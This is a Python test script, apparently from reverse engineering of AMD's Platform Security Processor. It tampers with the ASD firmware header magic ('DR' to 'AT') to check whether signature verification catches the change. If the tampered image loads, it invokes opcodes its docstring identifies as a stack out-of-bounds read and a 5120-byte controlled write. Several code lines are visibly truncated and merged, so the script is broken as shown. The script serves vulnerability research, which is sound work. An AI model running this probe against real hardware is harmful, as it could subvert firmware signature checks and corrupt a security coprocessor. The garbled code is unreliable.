"""Is the TA/driver magic at image_header+0x14 covered by the signature? ASD is 'DR' (driver) and therefore not invokable via INVOKE_CMD (psp_status 4). If flipping it to 'AT' still loads, the host can promote a driver to a TA and directly invoke ASD -- which would make asd_hdcp2_op_1AA (unbounded 5*N stack OOB read) and asd 0x301 (5120-byte controlled write) host-reachable. Expected safe behaviour: signature verification rejects the tampered image. Control: an untampered load must succeed, so a rejection is attributable to the tamper and not to the harness. """ import ctypes,struct,sys from tinygrad import Device from tinygrad.runtime.autogen.am import am from tinygrad.helpers import lo32,hi32 d=Device["AMD"]; adev=d.iface.dev_impl; psp=adev.psp SZ=ctypes.sizeof(am.struct_psp_gfx_cmd_resp); P='/Users/user/dev/amd-psp-re/psp_out/'; S=0x8000 def stat(): return int.from_bytes(bytes(adev.vram.view(psp.cmd_paddr,SZ)[:])[864:868],"little") def alloc(n): pa=adev.mm.palloc(n,align=0x1000,zero=True); return pa,adev.paddr2mc(pa) def load(cmd,blob): ap,amc=alloc(0x40000); cp,cmc=alloc(S) adev.vram.view(ap,len(blob))[:]=blob; adev.gmc.flush_hdp() adev.vram.view(psp.cmd_paddr,SZ)[:]=b"\x00"*SZ c=am.struct_psp_gfx_cmd_resp(cmd_id=cmd); t=c.cmd.cmd_load_ta t.app_phy_addr_hi,t.app_phy_addr_lo=hi32(amc),lo32(amc); t.app_len=len(blob) t.cmd_buf_phy_addr_hi,t.cmd_buf_phy_addr_lo=hi32(cmc),lo32(cmc); t.cmd_buf_len=S try: return psp._ring_submit(c).resp.session_id, cp, 0 except RuntimeError: return None, cp, stat() def inv(sid,shm,frame0,tc): b=bytearray(S); struct.pack_into('", end=" ") sid,shm,err=load(am.GFX_CMD_ID_LOAD_TA,hdcp); print("sid=%s err=%s"%(sid,err)) print("CONTROL: untampered ASD ('DR') load ->", end=" ") sid0,shm0,err0=load(am.GFX_CMD_ID_LOAD_ASD,bytes(asd)); print("sid=%s err=%s invoke(0x300)->%s"%(sid0,err0,inv(sid0,shm0,0x300,0x300) if sid0 is not None else '-')) print("\nmagic at file+0x114 = %#06x ('DR')"%struct.unpack_from(' 'AT' for nm,cid in (("LOAD_TA(1)",am.GFX_CMD_ID_LOAD_TA),("LOAD_ASD(4)",am.GFX_CMD_ID_LOAD_ASD)): sid,shm,err=load(cid,bytes(t)) print("TAMPERED 'AT' via %-12s -> sid=%s load_status=%s"%(nm,sid,hex(err) if err else 0)) if sid is not None: for op in (0x300,0x1AA,0x301): print(" invoke opcode %#06x -> psp_status %s"%(op,inv(sid,shm,op,op))) print("\nsos_alive:",psp.is_sos_alive())